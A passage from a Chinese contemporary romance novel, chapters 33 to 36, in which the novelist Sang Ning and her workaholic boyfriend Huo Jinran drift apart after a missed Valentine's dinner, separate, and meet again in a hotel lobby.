他答应的很爽快，可直到九点多，晚餐的菜都一一上齐了，他却迟迟都没现身。
窗外还在飘雪，周边一片寂静，桑柠一个人孤零零的坐在长桌前，对面始终空落落的。
时间眨眼而过，十点多时，还是没等来霍今然，桑柠轻叹了口气，刚拿起手机，就见着屏幕亮起，钻进来一条信息。
是霍今然发来的：抱歉，有个临时会议要开，再等等我。
33. 33
窗外依旧还在下雪，房间里静悄悄的。
桑柠低着眉眼，解锁，进入了微信的聊天对话框，她身子像是僵住了，捧着手机好半天没动。
输入框的绿色光标不停闪烁，桑柠对着屏幕许久，却都不知道该怎么回复霍今然。
像是意料之中，也像是习惯了，又或许等的太久，她就连生气的力气都没了。
可转念一想，她就算生气也没用，就像陆寒笙说的，现在是霍今然事业稳固时期，事业跟爱情的天平很难平衡，这个时机跟他谈恋爱，多少都会受些委屈，避免不了的事。
她也只能多忍耐，多体谅一下他了。
桑柠捧着手机，她指尖轻敲屏幕，回复了霍今然的信息：好。
回复完，桑柠将手机放到一边，也没追问霍今然何时能来，她知道问了也没用。
等了一晚上，早就饿了，桑柠却没什么胃口，她就安静的坐在那里，窗外的雪花悄然无息的落下，时间流逝的仿佛比往常慢了许多。
房间里太安静，桑柠有些受不住，她拿起手机，点开朋友圈，看了下其他姐妹的动态。
情人节这天，有另一半的都在腻腻歪歪的秀恩爱，反倒衬得桑柠像个孤单落寞的单身狗。
连歆语跟陆寒笙也在朋友圈官宣了，两边朋友纷纷点赞，留言。
桑柠点开了那些留言。
宋觉扬：笙哥，你行啊，给我们找了个这么漂亮的小陆嫂。
好姐妹A：歆语，恭喜你呀。
宋觉扬回复好姐妹A：妹妹，今天你也单着啊，那可太巧了，我也单着呢。
好姐妹A回复宋觉扬：已婚，有娃，勿扰。
宋觉扬：……
方斯舟：好好待人家姑娘。
……
留言翻到底，桑柠都没看到霍今然的回复，想来这种事，他怎么可能有那个闲工夫参与。
要不是还跟她谈着恋爱，他的人生估计就只剩下忙事业了。
桑柠点开连歆语的头像，给她发了条信息：恭喜你，也祝你跟陆寒笙情人节快乐。
还以为连歆语这会儿正跟陆寒笙腻歪呢，顾不上回复信息，不过很快桑柠就收到好姐妹发来的一条语音：“怎么还有空给我发信息啊，不是跟你家霍今然烛光晚餐么？”
桑柠摁着语音键：“你不也有空跟我发语音么，不是刚在朋友圈官宣。”
连歆语：“陆寒笙洗澡呢，我闲的无聊。”
桑柠：“行啊，今晚要大战一晚上啊？”
连歆语：“那也比不得你家霍今然，一晚上竟然弄了你八次。”
连歆语：“我就奇怪了，霍今然要是不遇到你，他之前到底是怎么忍下来的，是人么。”
桑柠：“……”
不过半分钟，连歆语又发来一条信息：完了，我刚才的话，霍今然没听到吧？
桑柠抬眸，朝房间里望了一圈，空荡荡的依然只有她自己。
她抿了下唇角，又低下眉眼，回了连歆语一句：他听不到。
连歆语没再回复她，看来这次是真的跟陆寒笙腻歪去了。
将手机丢到一边，桑柠只觉有些累了，她拆掉发髻上的红玫瑰，窝到沙发上，睡了一觉。
也不知过了多久，桑柠突然醒来时，房间里依然空荡荡的，光线亦是很暗，眼前尽是灰蒙蒙的一片，偏头望过去时，外面的雪花一片片落下，幽静的天地里，仿佛只剩下她一个人，她突然感觉到了一种前所未有的莫大的孤独感。
像是跟着外面的落雪一起融掉，也没人会知道。
桑柠起身，摸到旁边的手机，点亮屏幕，看了一眼时间，还有几分钟就要过零点了，马上情人节也要过去了。
她这一觉睡得有些久，却也没等来霍今然。
打开微信，十分钟前，霍今然给她发来条语音：“我已经在路上了，很快到。”
桑柠没回复他，只将手机丢到了一边。
她披着羊毛披肩，走到了落地窗前，安静的望着外面还在飘落的雪花。
半夜下雪的京城，到处已是白茫茫一片，街道安静，就连过往的车辆都很少，眼前只能看得到片片悠然飘落的雪花。
但很快，桑柠就看到一辆黑色的劳斯莱斯缓缓停到了路边。
车门一打开，霍今然就跨下了车，他走得很快，连身后想给他打伞的单羽都追不上他。
大片飘落的雪花中，霍今然一身黑色的西装套装，尽显贵气，他应该是来的路上刚换好，匆匆走过去时，他手上还在忙着打领带。
他走得很快，眨眼间就穿过风雪，走进了酒店里。
像是生怕错过了情人节的最后几分钟。
桑柠怔愣在那里，一时间心里五味杂陈，本来挺开心的一个情人节，也是霍今然答应满足她的第一个愿望，可他还是像以前一样，让她等了这么久。
有他这个男朋友跟没有似的，到头来还是她一个人孤零零的过完了情人节。
她心里到底还是有些怨他的，也会觉得委屈，会觉得很难过。
但刚刚，看到霍今然那么急切的朝着酒店奔来时，桑柠的心里又突然涌上一股莫名的酸涩，他又何尝不是在忙完之后，已经尽力朝她这边赶了过来。
他其实也在尽力平衡她跟他的事业了。
桑柠裹着披肩，听到门口的脚步声，她转身，走过去，打开了门。
门外，霍今然正低垂着眉眼，将衬衫的领子翻下去，理了下领带，听到门响了下，他抬起眉眼，望向了桑柠。
走廊昏暗的灯光里，还能看到他发间落满了雪花，神色也有些疲惫，可能长期缺觉，他眼窝那里泛着青色的印记。
霍今然走进门，他拥着桑柠，在她额间落下一个吻：“情人节快乐，迟来的。”
桑柠鼻头一酸：“已经过去了。”
霍今然松开她，他抬起手腕，看了一眼时间，已经零点一分了，还是没能赶上。
“不过没关系，你能出现就好了。”
霍今然缓缓抬起眉眼，面前的桑柠一身黑色丝绒长裙，她今天的妆容很明艳，像从前一样风情万种，但她唇边挂着淡淡的笑，不知是不是刚睡醒的缘故，一缕碎发垂落
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，凭添了些慵懒，也温柔的不像话，恍惚间竟然有些陌生。
“不生我的气？”霍今然试探的问了一句。
他迟到这么久，来时在路上他就已经做好了，要怎么哄好桑柠的准备了，她突然这样不吵不闹，他反倒有些无措了。
看霍今然小心翼翼的样子，桑柠的心里越发不是个滋味，她故意像以前一样娇嗔的怪他：“你说呢，怎么会不气呢，难得的情人节，一年就这么一次，还是你答应我，要跟我吃一顿烛光晚餐的，却让我等到现在，要不是我睡着了，我早就离开了。”
看她像以前一样埋怨他，霍今然松了口气，他走过去，想抱住她，却被她推开了：“别碰我，不想理你。”
说完，桑柠转身朝前走去。
霍今然伸手勾住她的腰身，从后面将她揽入了怀里：“最近有个项目很棘手，今晚临时又出了一些事，所以迟到了这么久，是我的错，该罚。”
“罚你什么？”
“等下好好补偿你。”
桑柠推开他的手臂：“行吧，看你等下表现，我饿了，要先吃些东西。”
“好。”霍今然松开了她，他跟在她身后，望着她的背影，虽说好像回到以前的她了，可这么快就哄好，还是让他心里没底。
跟着桑柠落座，桌上的菜已经凉了，这个时间餐厅也已经关门，不过烛光晚餐大多都是西餐，菜凉不凉其实也无所谓。
默不吭声的吃到一半，桑柠突然问霍今然：“你以前没遇到我时，有想过什么时候恋爱么？”
“怎么突然问起这个？”霍今然拿起一旁的红酒，微抿了一口。
“没什么，随便聊聊。”
霍今然将手上的红酒杯放到一边：“以前没怎么想过这些事。”
桑柠低着眉眼，用银叉叉起一小块牛肉，送到嘴里，慢慢咀嚼完，她也不抬头看霍今然，像是很随意的就又提起另一个话题：“那你有没有觉得其实现在，也不是你谈恋爱的好时机。”
霍今然单肘撑桌，他始终望着桑柠，刚才可能是他敏感，可她现在这个样子，到底是跟以前不一样了。
还是在怪他，只忙着工作，不陪她，却不再像以前一样吵闹，也不再跟他赌气不理他，她今晚格外的冷静。
霍今然的心里忽得生出一种错觉来，某一天桑柠可能会像风筝断了线一样，突然离开他。
从他的世界彻底消失。
霍今然不自禁的攥紧了手里的餐巾：“是不是还在怪我，情人节没陪着你。”
“没有啊。”桑柠搅拌了下奶油蘑菇汤。
“桑柠。”
听霍今然叫她，桑柠终于抬起了头：“我没有怪你，可能有些累了，所以想跟你随便聊聊天。”
霍今然微点头：“好，那我们就继续随便聊一下。”
想起刚才桑柠聊起的话题，说他现在可能也不是谈恋爱的好时机，他顺着那个话题。
很直白的讲出了他的心里话，不是甜言蜜语，也没半点的敷衍。
“没有什么恋爱的好时机，你来了，就是最好的时机。”
34. 34
他的话听起来像是在哄她，但桑柠却也能听得出来他话里的真心实意。
本来今晚她也没像以前那么怨他，看到他那么急迫的穿过风雪赶回来时，她其实就已经心软了。
但桑柠也看得出霍今然的忐忑不安，他那么聪明的一个人，估计早就感觉到她的不对劲了。
夜里，两个人的缠绵快接近尾声时，桑柠指尖抠着霍今然的背，她凑近他耳边：“霍今然，我好喜欢你。”
霍今然埋在她的颈窝里，在最后那阵颤栗中，他双臂不受控的收紧，几近用尽所剩无几的力气紧拥着桑柠，恨不得将她拆骨入腹，揉进他的身体里。
窗外落雪无声，房间里急促的喘息声慢慢平复后，也跟着静得出奇。
霍今然还紧拥着桑柠，他闭着眼，在她耳边轻轻呢喃：“桑柠，别离开我。”
他低声的乞求，像是平日里无坚不摧的野兽受了伤，寻求安慰般，令人疼惜。
昏暗的房间里，桑柠任霍今然紧拥着她，她缓缓闭上了眼，没说话，眼尾处却有些潮湿起来。
那天晚上的雪几乎下了一夜，直到早上才停，等那场厚厚的积雪融化时，二月也将近过完了。
转眼进入三月，桑柠前往其他城市，继续忙她的新书签售会。
霍今然也是依如既往的很忙碌，早之前的新城开发项目，由他亲自盯着，再加上国外的一些业务，时不时的又要出国，那阵子他忙的几乎是连轴转。
也只有那晚在御都会所见完客户，又偶然撞见陆寒笙他们，霍今然才总算从忙碌中喘了口气。
“然哥，最近见你一面，可真不容易啊。”宋觉扬感叹了一句，“要不是今晚在会所偶然遇到，这猴年马月才能见你一次啊。”
霍今然拿起桌旁的打火机，他扣动滑轮，点燃了指间的烟：“有些忙，抽不开身。”
陆寒笙给他递过去一杯红酒：“还是新城开发的那个项目？”
“嗯。”霍今然抽了一口烟。
“我说笙哥，好不容易碰见然哥一次，咱能不聊工作么，能不能让然哥喘口气，好好放松一下。”宋觉扬打断了两个人的对话。
方斯舟也在旁附和道：“那我们聊别的。”
霍今然微抬眼，望向他们：“你们最近怎么样？”
“不错啊，买了块新表，还买了辆新车。”宋觉扬伸着手腕，炫耀了一把他手腕上价值千万的新表。
“女友也换新的了？”
还没等宋觉扬说话，旁边的方斯舟回了霍今然一句：“前一个星期又处了一个，纯欲小网红。”
“没记错的话，上一个是你处的最久的，还以为你能定下来呢，怎么突然就在情人节之前分手了？”陆寒笙也掺和了进来。
宋觉扬端起红酒杯，闷头喝了两口：“我跟你们说实话吧，那位我是真喜欢，也想跟她认真处下去，可是有一天，也不知道为什么，她突然就不理我了，之后慢慢断了联系，我们就分手了，我他妈到现在还一头雾水呢，为啥就分了呢。”
“跟别的女生撩骚，被抓包了？”方斯舟随口开了句玩笑。
宋觉扬将酒杯放到一边，他转头望向方斯舟，模样难得的正经一次：“我虽然女朋友换的勤，但你不能这么污蔑我，不管跟谁在一起，我都很专一。”
“嗯，专一里面最混蛋的，混蛋里面最专一的。”
“……”
方斯舟对宋觉扬的评价可谓一针见血。
陆寒笙忍不住哼笑了声：“真要那么好，何至于分手？”
宋觉扬一脸苦恼道：“所以到现在我都想不通啊，以前她跟我闹脾气，哄哄就好了，可是后来她突然就不吵不闹了，整得我都没辙。”
“失望攒够了呗。”方斯舟冷不丁的又冒出一句。
旁边的霍今然一直安静的听着，指间的半支烟火光明明灭灭，燃尽的白色烟灰摇摇欲坠，他却都还没意识到，听着宋觉扬的描述，总觉得有些熟悉，忽得想起情人节那天晚上，桑柠也是不吵不闹的。
还问了些令人捉摸不透的问题。
如今后知后觉的再想起，霍今然才意识到桑柠的话里有其他意思，她可能在旁敲侧击的跟他说，他现在不是恋爱的好时机。
亦或是。
他没有在对的时机，与她相遇。
霍今然眼睫微颤，他抬手，将燃尽的烟头碾灭在了烟灰缸里，火光泯灭，他心里也仿佛跟着落下一层灰扑扑的印记。
“什么攒够了，我怎么不知道。”那边的宋觉扬还是一副不开窍的样子。
方斯舟将瓶里剩余的红酒倒尽，而后他将空瓶子摆到了桌子的中间：“这么跟你说吧，大部分女生喜欢你的时候，都喜欢折星星，一颗颗的攒到玻璃瓶里，但恋爱时，你每次让她失望一次，玻璃瓶里就会少一颗星星，慢慢的失望攒够了，没那么喜欢你了，自然就会离开你。”
“哦，你这么说，我突然想起一句话，女生最后一次离开时，关门声最小。”
“可不是，哀莫大于心死啊。”
“但我他妈还是想不通，我到底错在哪儿了。”
……
伴着那些聊天声，霍今然起身，他拿着烟盒，朝着阳台走了过去。
三月倒春寒，夜里还有些冷，霍今然穿着单薄的衬衫，不大一会儿，身上就起了一层薄薄的寒意。
他点燃一根烟，侧倚着石柱，视线没什么焦点的望着外面的夜空。
“怎么出来了，有心事？”
听到陆寒笙的声音，霍今然抬手，将烟送到嘴里，他抽了一口，轻吐出了烟气。
瞧着他那副模样，陆寒笙又随口猜了一句：“跟桑柠吵架了？”
“没。”霍今然还懒慢的站在那里，他长指微动，弹掉了烟头上燃尽的烟灰，又跟着戏谑的来了一句，“要是能吵架就好了。”
陆寒笙靠在门边，他嘴边咬着一根烟，扣动了打火机，烟点燃，伴着四起的青烟，他开口问道：“你跟桑柠交往一年了是么？”
“嗯。”霍今然偏头，望向了门口的陆寒笙，回道，“你女朋友生日那天，刚好满一周年。”
“一年了，差不多也过了磨合期，自然不会像以前那么黏糊了，不过两个人在一起，不管什么时候，都要多沟通才行。”陆寒笙跟着讲道，“别等到最后无法挽回的地步，再后悔莫及。”
霍今然没再说话，他低着眼睫，将烟送到了嘴边。
离开御都会所，回去的路上，霍今然点开了桑柠的微博，跟他互关的那个微博，她已经很久没更新了，就连上次情人节她也没发任何微博。
可能是最近忙碌的缘故，但不可否认的是，她已经很久没用这个账号，跟他分享新鲜事了。
霍今然又点开桑柠的大号微博，入目就是她今天傍晚发的一个微博。
——我到家了，虽然很累，不过能在签售会亲眼见到你们，还是感觉到很幸福，我们一下站见啦，爱你们呀~
如果不是看到这条微博，霍今然竟然都不知道桑柠今天已经回到了京城。
她跟他好像真的没以前那么亲密了，也好像。
还跟他有了些间隙。
霍今然指腹轻划了下屏幕，刷到了前两天桑柠刚到签售的城市分享的一条微博。
——吃到了这边的烤鱼，好好吃，虽然很辣，但吃的很过瘾，推荐给你们，如果有机会来这边旅行，可以尝尝。
她还是跟以前一样爱分享，那些文字也还是跟以前一样生动又活泼，可是霍今然却突然觉得她真的有些陌生了
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。
前方十字路口遇到红灯，车停了下来，霍今然吩咐了司机一句：“送我去桑柠那里。”
“好的，霍总。”司机应了一声。
待绿灯亮起，司机启动车子，朝着万福路的伊甸园公寓驶去。
二十分钟后，车子抵达，霍今然下了车，通过门禁，他乘坐电梯抵达桑柠的楼层。
走到门口，霍今然几乎是下意识就要输入密码，可指尖还未碰到密码锁，就又蜷缩了下，脑海里忽地也跟着闪过一个画面。
以前来找桑柠时，听到他的脚步声，亦或他刚输入第一个密码数字时，她就会兴奋的跑过来，帮他打开门，还会像只小猫一样软软的扑到他怀里。
霍今然困在回忆里，清醒过来时，他却也没勇气再去输入密码了，他抬手，敲了敲门。
等了些许，才听到桑柠走了过来，很快她打开了门，看到是霍今然，她也不意外，只是随口问了句：“怎么突然来我这里？”
“过来看看你。”
“哦。”
看着桑柠生分的样子，霍今然再也没办法搪塞自己，她只是累了，所以没办法像从前一样热情的扑到他怀里了。
视线无意间瞥见桑柠手上戴着白色的针织手套，霍今然问她：“在干什么？”
桑柠抬手，往后指了下：“洗手间的灯不亮了，我想换个新的。”
原本这些维修的事可以找物业的，但时间有些晚了，桑柠也等不及明天，不过换一个灯管而已，她从十几岁就开始独自生活，有些技能早就熟练了。
于是她就决定自己换一个。
霍今然还站在门口，他望着桑柠，差一点就讲出怎么不跟我说一声，可这句话到了嘴边，他到底还是没能讲出口。
怕一说出来，只会让两个人更生分了些。
霍今然边走进去，边脱掉了身上的西装外套，而后他摘掉了桑柠手上的白手套：“我来帮你换。”
桑柠没拒绝，只是跟在了霍今然的身后，看着他站到椅子上帮她换灯管时，她就安静的站在一旁等着。
霍今然个子很高，站到凳子上，稍微一伸手，就能轻松触到天花板，不像她，换灯管时，总是要费力踮起脚尖才能换。
要是能早些遇到霍今然就好了。
在她只身一人来京城上学，晚上一个人不敢关灯睡觉时，在初到陌生的城市，身边还没有朋友陪伴，无数个独自一人冷清的过节时，在家里的水管爆裂，她惊慌失措时，在痛经痛到连点外卖的力气都没有时。
要是从前无数个最需要人陪时，能遇到霍今然就好了，这样她对他的依赖就会深入骨髓，感情深，也就不会被感情的懈怠期打败了。
可命数这种事，半点都由不得人。
人与人之间的相遇也仿佛早已注定，霍今然没办法在她最需要时出现在她身边，就好像她也没办法在对的时机，与他相遇。
都是没办法的事。
走到如今这个地步，桑柠也糊涂了，她竟已不知到底人不对，还是时机不对，亦或人和时机样样都错呢。
换完灯泡，霍今然从凳子上下来：“好了，你打开开关，看一下。”
那边没回应，霍今然一边摘掉手套，一边抬头望了过去，桑柠还站在门口，她抱着双臂，从前一双明媚的眼中，总是含着笑，此刻却满含热泪的望着他。
霍今然心一惊，他将针织手套随手丢到一边，走过去，将桑柠拥入了怀里。
他只是抱着她，也不问她为什么哭了。
感觉到熟悉的怀抱，桑柠心里一阵揪疼，她骗不了自己，她还是那么喜欢霍今然。
桑柠深呼吸了下，缓了缓，可一张口说话，声音还是有些哽咽，她问他：“霍今然，我们还能回到从前么？”
35. 35
从外面透进来的少许白光，笼亮了小半个洗手间。
霍今然松开桑柠，他看到她哭红的双眼，心里也一阵难过。
却也突然意识到，这将近一个月以来的空白，并不是跟她见一面，跟她拥抱，就能弥补的了的。
两个人之间的间隙还在，再这么强行拉扯下去，怕是以后只会生出更多的怨恨。
即便再舍不得，也要学着放手了，至少让彼此都冷静一下，喘口气，再去商量还要不要继续朝前走。
霍今然眉心微蹙，他终于开了口，声音暗哑，发涩：“如果这段日子，你不想见到我，或者想冷静一下，我尊重你所有的选择。”
他明明还紧抓着她的肩膀，却讲出了这样的话，感觉到他心里的不舍，桑柠的眼泪更汹涌了些，她哽咽的说不出话来。
望着霍今然那张熟悉的脸，明明跟他离得很近，触手可及，可眼中的泪水模糊了他的身影，又分明跟他隔了很远的距离。
她好像怎么也抓不住他了。
半昏半暗的洗手间突然冷清了下去，沉默在两个人之间蔓延，谁都没说话。
就好像最近以来两个人的微信聊天记录一样，大片的空白。
这段日子，桑柠刻意将她的行程排的很满，忙到都顾不上跟霍今然联络感情，可说起来，她这又何尝不是一种逃避。
情人节那晚，她虽然没怪霍今然，没发脾气，却无形中将他推出去很远。
有些改变，也像是那晚悄然融化的积雪，怎么都留不住那般，桑柠也躲不开心里的那些情绪变化。
她没办法再像从前那样黏着霍今然，也没办法像从前那样看到新鲜事就第一时间分享给他。
所有的情绪好像被封尘在了玻璃瓶里，好似密封的罐头，再新鲜的水果，封的久了，也会变质。
桑柠总是在半夜，望着跟霍今然的聊天对话框，时常叹气，却再也找不到话题跟他联系，就连简单的一句晚安，她都是强撑着打出来的。
她在逃避的同时，其实也在害怕。
怕一直等，等霍今然忙完，才能顾及到她，也怕突然一盆冷水泼下来，浇灭了她所有的希望，怕之前经历过的那些事，会再重蹈覆辙的经历一次。
她是真的怕了。
所以对于霍今然，她便也不敢再有任何的期待了。
后知后觉的，桑柠也终于意识到，到了如今这个地步，想回到从前，又何尝不是一种奢望呢。
她跟霍今然好像真的回不去了。
见桑柠一直不说话，霍今然只当她是默认了，与其这样困住她，耗着她，让她更难过，不如给她些时间，让她喘口气。
感觉到霍今然松开了手，而后跟她的身子擦过，默不吭声的朝前走去，像是在无声的告别，桑柠心里突然万般不舍，她抬手，想要抓住他的手腕，还是不想让他走。
指尖擦到了他的裤边，桑柠的手却扑了空。
都还没来得及抓住他的手腕，只差一点时，霍今然口袋里的手机突然响起来电铃声，他接起：“找我有事？”
抬起的手又慢慢的垂了下去，桑柠茫然的望着前方。
她身后，霍今然还在继续讲电话：“你先盯着，等我过去处理。”
他还是那样的忙。
就连这个时候，他还有心思处理工作上的事情，冷静理智的样子，好像丝毫都不会被感情上的事困扰，或许在他心里，没有什么能比他事业更重要的事了。
而她。
或许从始至终，她也从来都不是他的那个例外。
桑柠缓缓的垂下了眼睫，心底也好似跟着落下一声叹息，她抬手，擦干了脸庞的眼泪，而后转身，霍今然已经挂断了电话，正望着她。
一撞入霍今然深邃黝黑的眸子里，看到他眼神有些疲态，桑柠心里骤然紧缩了下，想嘱托他一句再忙也要好好休息。
可一张口，话却变了味：“你去忙吧，谢谢你帮我换了灯管。”
那一声谢谢，意味简单，却让两个人之间的空白，越发刺眼了起来。
霍今然握紧手机：“以后有什么事，想给我打电话，随时都可以。”
桑柠心里酸涩不已，眼泪又要涌了出来，她强忍着微点头，却什么话都说不出来了。
霍今然在她注视的目光里，慢慢的转身，离开了。
他很快就消失在了她的目光里，也消失在了她的生活里。
日子一天天的流逝，桑柠依然很忙碌，每一天过得都很充实。
偶尔忙碌的间隙，桑柠也会觉得恍惚，好像回到了很久以前，她独自生活的那段日子，平日里忙着写小说，忙着新书出版，签售。
空闲时，会跟一大帮朋友消遣娱乐。
恍惚的以为，她好像从来都没跟霍今然相遇，甚至相识一场。
就这样持续忙了一段日子，忙到分不清今天几号，周几，等再回头看时，时间已经到了三月底。
一转眼，她跟霍今然分开竟然也有大半个多月了。
四月初，桑柠刚忙完手头上的工作，就被连歆语拉着去熟悉的会所消遣了一番。
“桑柠，最近忙什么呢，好久没见你了。”有个姐妹一见到桑柠，就寒暄了一句。
桑柠将包包放到一边：“新书签售，刚忙完。”
“你男朋友霍今然呢，最近怎么都没听你提起？”
桑柠微怔，跟霍今然分开的这半个多月，她自以为已经离的他很远，只要不刻意在网上留意他的动态，跟他就很难再有交集。
也自以为离开他之后，她过得还不错，可也不过只是听到了他的名字，她所有自以为是的伪装，却在一瞬间，全都崩塌成了废墟。
桑柠始终低着眼眸，她拿过桌上的一瓶啤酒，随口敷衍了一句：“他也在忙。”
说完，她微仰头，抿了一口酒水，假装要喝酒的样子，断了那个朋友后面的话。
跟霍今然暂时分开这件事，只有他们两个人知道，桑柠也不想在公众场合多提起。
连歆语凑了过来：“霍今然又出国了，等他回来，小情侣岂不是又要小别胜新婚了，到时又要各种秀恩爱了。”
桑柠没吭声，她也接不了话，也是听到连歆语的调侃时，她才知道霍今然又出国了。
他对她来说，好像越来越陌生了。
连歆语很快转了个话题道：“你接下来是不是还有个电视台的访问？”
听着话题终于不再提及霍今然，桑柠回了神，她将啤酒瓶放回桌上：“嗯，我主编推荐我过去的。”
“你自己不想去啊？”
“也不是，就是没这方面的经验，怕出错。”
连歆语用肩膀撞了一下桑柠：“怕什么，大不了那天让霍今然陪你去，给你壮壮胆。”
“……”
真是哪壶不开，非得又提哪壶。
躲都躲不开。
“他才没那个闲工夫呢。”桑柠没所谓的噎了一句。
连歆语附和道：“也是，霍今然都不知道那天能不能从国外赶回来，我听陆寒笙说，这次他要去很久。”
关于霍今然的消息，也只能从连歆语那里得知了。
桑柠突然觉得有些烦躁，她不想再听到霍今然的消息了，在旁人看来，他跟从前一样忙碌，没有半点受情伤的样子。
他的世界里，有她，没她，他根本就不在乎，一样过得很好。
而她呢。
半夜疯狂的想念，难过，看起来都像是个笑话。
一个多星期后，桑柠前去电视台参加节目访问，来时她还很紧张，不过很快就进入了状态。
跟主持人聊起她的作品时侃侃而谈，整个人都落落大方。
节目快要到尾声时，主持人突然问桑柠：“桑小姐在你的故事里，写了很多感人的爱情故事，那你自己是不是也有一段很浪漫的爱情故事？”
“还好，跟大家一样，比不上故事里的山盟海誓，我还是觉得生活里平平淡淡是最好的。”桑柠绝口不提跟霍今然有关的事。
似是在跟他隔空赌气似的。
“那桑小姐相信现实生活里，有完美的爱情么？”主持人又淡笑着问道，“就好比你故事里的那种缠绵悱恻，爱对方爱到天长地久的那种爱情？”
桑柠坐在那里，背脊挺直，她那天妆容很淡，身上是剪裁别致的职业套装，锁骨间的那条珍珠项链更是衬得她气质温婉，又恬淡。
可一张口说话，却莫名有一种大女人的气场，清醒又独立：“正因为
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现实生活中很难见到爱情，所以我才想写一些圆满的爱情故事，但故事都是美化的，好的结局就像是童话故事一样，王子和公主最后过上了幸福的生活，可现实终归有太多不可控的因素，也不是每个人都能幸运的遇到良人，我还是希望所有的女生面对爱情时，可以保持清醒，也要有及时止损的能力，毕竟从恋爱到结婚这个过程很漫长，不到最后，谁又能知道陪在你身边的那个人会是谁呢。”
言外之意，大家都知道我有男朋友吧，以后要不要嫁给他，得看我心情。
那个节目采访一播出去，桑柠的这段发言，在网上就受到了热烈的讨论。
——小姐姐漂亮又能干，还能这么清醒，真是难得。
——所有的女生都来听听，只要抛弃恋爱脑，渣男就近不得你身。
——是我羡慕的对象了，所以姑娘们，赚钱吧，别操心爱情了，你男朋友说不定现在还在上高中呢。
……
桑柠没在意网友的那些评价，这段话她只想让霍今然看到，让他也看看，没了他，她也一样过得很好。
但赌气归赌气，桑柠还是很想念霍今然，时间越久，那份想念就越浓厚。
偶尔实在忍不住，她也会上网疯狂搜他的动态，但却什么都搜不到。
可能他人在国外，还没回国。
桑柠也放不下面子，主动去找他，甚至断联的久了，连在微信里跟他打声招呼，她都找不到合适的开场白。
一直到春天过去，五月的夏天将要来临时，桑柠才终于意外的见到了，断联很久的霍今然。
那天晚上，桑柠在金缦丽酒店参加宴会，散场时，她没有跟着连歆语前往afterparty，而是独自离场。
离开宴会的大厅，走到酒店熟悉的大堂时，桑柠突然顿住了脚步，她转头望了一眼那边的电梯，也不知道霍今然现在在哪里。
听说他早已回国，不过依然很忙碌，也不知现在他在公司，还是在酒店楼上的套间。
桑柠又转过了头，她从包里掏出手机，点开微信，跟霍今然的聊天记录还停留在一个多月前。
断联了这么久，他一点消息都没有。
这个男人真是狠心，说是冷静一下，竟然能这么久不跟她联络。
桑柠直接轻触手机侧键，黑了屏幕，将手机丢回包包里，她抬脚，准备要离开时，前方突然传来一阵骚乱。
她不禁抬头望了过去。
人来人往的酒店大堂里，桑柠一眼就看到了走在人群里的霍今然。
他正低头看着手机，身边围着工作人员，一行人踏入酒店门口，朝着电梯那边走去。
也朝着桑柠这边越走越近。
像是一阵翻涌的海浪，仿佛下一秒就要淹没她。
桑柠却怔在原地，动弹不得。
应该还有些恨霍今然的，也应该跟他还有些赌气的，可当真见着他了，那些情绪仿佛燃烧的烟花棒一下子浸入水中，烟火扑簌簌的熄灭了似的，全都消失无影。
取而代之的却是紧张，还有莫名的慌乱。
桑柠指尖紧攥着裙摆，心跳还在砰砰直跳，紧张的整个人都快要呼吸不上来。
那边霍今然忽得举起了手机，似是要接电话，察觉到他将要抬头时，桑柠下意识的转身，慌不迭的躲到了旁边的柱子后面。
像是考试打小抄被老师抓住似的，整个人都慌了神。
桑柠背倚着柱子，软塌塌的倚在那里，她垂着眼睫，禁不住深呼吸了下，都不知道她在怕什么，也太没出息了。
柱子后面的脚步声离得远了一些，像是霍今然他们已经走远，桑柠慌乱的心跳逐渐平复。
她微起身，拎着包包准备离开时，刚转过身，都还未来得及迈出脚步，余光里忽地闪现出一个人影，她抬眸，望了过去。
霍今然双手插兜，半个身子懒慢的侧倚着柱子，那双桃花眼勾着一股邪气。
像从前一样令人着迷。
桑柠的心跳恍然落空了一拍。
有昏暗的光笼下来，落了霍今然一身，他眉眼松散，仿佛从骨子里都透着一股散漫不羁。
像个旧时纨绔的公子哥似的，当街调戏了桑柠一句：“躲在这里偷看我干什么，嗯？”
36. 36
时间仿佛轰然停顿，桑柠一瞬不瞬的盯着面前的霍今然。
那么熟悉的一张脸近在眼前，想念却还是像轰隆的雷声般震耳欲聋。
她原来那么想念他。
可瞧着霍今然一副无所谓的样子，见到她也没任何的情绪波动，他看起来好像一点都不想念她。
桑柠心里顿生委屈，她撇了撇嘴：“你没良心。”
霍今然哼笑了声：“行，我没良心，那你倒是说说我怎么没良心了。”
桑柠的眼底攸地蓄满了水汽，她咬了下唇，似是强忍着，泪水将落不落的样子，尤为的楚楚可怜：“分开的这段日子，你都不难过，你也不想我，只顾着你的工作，你就是没良心。”
该是控诉他的，可语气却不自知的娇嗔了些，又分明像是在撒娇耍赖。
霍今然喉结微滚动，他从口袋里抽出一只手，勾着领带松了松：“这些都是你凭空想象的，我可不认。”
“我说的是事实，你忙成那个样子，有时间想我么，就算真的想了，可你为什么不来找我？”
话落，旁边的人没了动静，望过去时，霍今然安静的站在那里，却不说话，只是盯着她看。
桑柠睨了霍今然一眼，她抬起手腕，看了一眼时间：“给你半分钟的时间，够不够？”
“够什么。”
“编个借口出来。”
“……”
霍今然微咬了下舌尖，懒懒道：“我还需要编借口？”
“不然你干嘛一直盯着我看，不说话。”
霍今然突然伸手，勾住桑柠的腰身，将她揽近了些，几乎快要贴上他的身子：“我想仔细看一下你的模样，看看跟我想念中的你，有了什么样的变化。”
桑柠双手附在他的胸口：“那你看出什么变化了？”
霍今然故意使坏，手上用力捏了下她的腰窝：“没什么变化，还是跟以前一样，喜欢惹我生气。”
“……”
“我哪有？”桑柠困在他的怀里，身子软了，语气也跟着软了许多。
离得近，桑柠都能闻到霍今然身上淡淡的香水味，混着烟草的香气，她几近就快要站不稳。
偏偏霍今然不放过她，又将她揽紧了些：“没有？”
他低哑的声音，像是丝绸擦过她的耳廓，痒痒的，桑柠差一点就要招架不住。
“前不久，是不是在节目里，说不到最后，谁知道陪在身边的那个人是谁。”
“……”
原来是在气这个。
本来就是赌气给霍今然看的，可桑柠却莫名有些心虚：“那个访问你看了？”
“女朋友的访问，怎么可能不看。”霍今然漫不经心的丢过去一句。
听他这样讲，桑柠突然就不气他了，她踮起脚尖，双手攀在他的肩膀上：“霍今然，这段日子，我真的好想你。”
“真要想我，还说出那样的话。”霍今然低着眼睫，眸子里似笑非笑，声音也压低了些，似是在审判，“除了我，你最后还想让谁陪在你身边，嗯？”
“……”破坏气氛。
桑柠脾气上来了，突然像个小孩子一样，跟霍今然犟了一嘴：“那不劳你操心了。”
霍今然唇边噙着淡淡的笑意，这男人看着越发危险起来。
